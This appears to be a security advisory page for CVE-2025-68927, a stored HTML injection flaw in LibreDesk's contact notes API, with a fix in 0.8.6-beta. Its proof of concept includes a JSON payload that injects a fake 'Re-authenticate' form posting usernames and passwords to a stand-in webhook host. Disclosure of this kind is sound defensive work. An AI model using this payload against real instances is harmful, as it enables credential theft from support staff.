CVE-2025-68927: Improper Neutralization of HTML Tags in a Web Page in libredesk

Published Dec 16, 2025
·
Updated

Summary

LibreDesk is vulnerable to stored HTML injection in the contact notes feature. When adding notes via POST /api/v1/contacts/{id}/notes, the backend automatically wraps user input in <p> tags. However, by intercepting the request and removing the <p> tag, an attacker can inject arbitrary HTML elements such as forms and images, which are then stored and rendered without proper sanitization. This can lead to phishing, CSRF-style forced actions, and UI redress attacks.

---

Details

When notes are added through the LibreDesk web application, the client sends note content wrapped inside <p> tags. The backend appears to trust this HTML structure and stores the content as-is.

By intercepting the request to:

POST /api/v1/contacts/3/notes

and removing the <p> wrapper, an attacker can submit arbitrary HTML content. The backend does not sanitize or validate the HTML payload before persisting it.

As a result:

Arbitrary HTML tags (e.g., <form>, <input>, <img>) are stored The injected HTML is rendered when the notes are viewed in the application No server-side HTML sanitization or allowlisting is enforced

This indicates that the application relies on client-side HTML formatting assumptions, which can be bypassed by modifying the request.

---

PoC

1. Log in to LibreDesk and open any contact. 2. Add a note normally via the UI. 3. Intercept the request to:

POST /api/v1/contacts/3/notes 4. Original request body (example):

json { "note": "<p>This is a normal note</p>" } 5. Modify the payload by removing the <p> tag and injecting arbitrary HTML:

json { "note": "<form action='https://webhook.site/xxxx' method='POST'> <input type='text' name='username' placeholder='Username'> <input type='password' name='password' placeholder='Password'> <input type='submit' value='Re-authenticate'> </form>" }

6. Forward the request. 7. View the contact note in the LibreDesk UI.

Result: The injected HTML form is rendered inside the application.

---

Impact

This is a stored HTML injection vulnerability affecting any user who can add or view contact notes.

Potential impact includes:

Credential phishing through injected forms CSRF-style forced actions using HTML-only forms UI redress and social engineering Increased risk if notes are viewed by privileged users (e.g., admins or agents)

If the notes are shared across users or roles, this vulnerability can be abused to target multiple users, increasing severity.

Other sources

Libredesk is a self-hosted customer support desk. Prior to version 0.8.6-beta, LibreDesk is vulnerable to stored HTML injection in the contact notes feature. When adding notes via POST /api/v1/contacts/{id}/notes, the backend automatically wraps user input in <p> tags. However, by intercepting the request and removing the <p> tag, an attacker can inject arbitrary HTML elements such as forms and images, which are then stored and rendered without proper sanitization. This can lead to phishing, CSRF-style forced actions, and UI redress attacks. This issue has been patched in version 0.8.6-beta.

— MITRE

Affected Software

2 affected componentsFixes available
go/github.com/abhinavxd/libredesk<0.8.6-beta
0.8.6-beta
LibreDesk LibreDesk<0.8.6

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade go/github.com/abhinavxd/libredesk to a version that resolves this vulnerability.

    Fixed in 0.8.6-beta
  2. Upgrade

    Upgrade LibreDesk to a version that resolves this vulnerability.

    Fixed in 0.8.6-beta

Event History

Dec 16, 2025
Advisory Published
via GitHub·08:43 PM
Data Sourced
via GitHub·08:43 PM
DescriptionWeaknessAffected Software
Dec 27, 2025
CVE Published
via MITRE·12:04 AM
Data Sourced
via MITRE·12:04 AM
DescriptionWeakness
Data Sourced
via NVD·01:15 AM
RemedyDescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2025-68927?

CVE-2025-68927 is classified as a moderate severity vulnerability due to its potential for stored HTML injection.

2

How do I fix CVE-2025-68927?

To fix CVE-2025-68927, update to the remedied version of LibreDesk that addresses the HTML injection issue.

3

What is the impact of CVE-2025-68927?

CVE-2025-68927 allows an attacker to inject malicious HTML into the contact notes feature, potentially compromising user data.

4

Which version of LibreDesk is affected by CVE-2025-68927?

CVE-2025-68927 affects all versions of LibreDesk prior to 0.8.6-beta.

5

Can CVE-2025-68927 be exploited remotely?

Yes, CVE-2025-68927 can be exploited remotely by intercepting API requests to manipulate contact notes.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203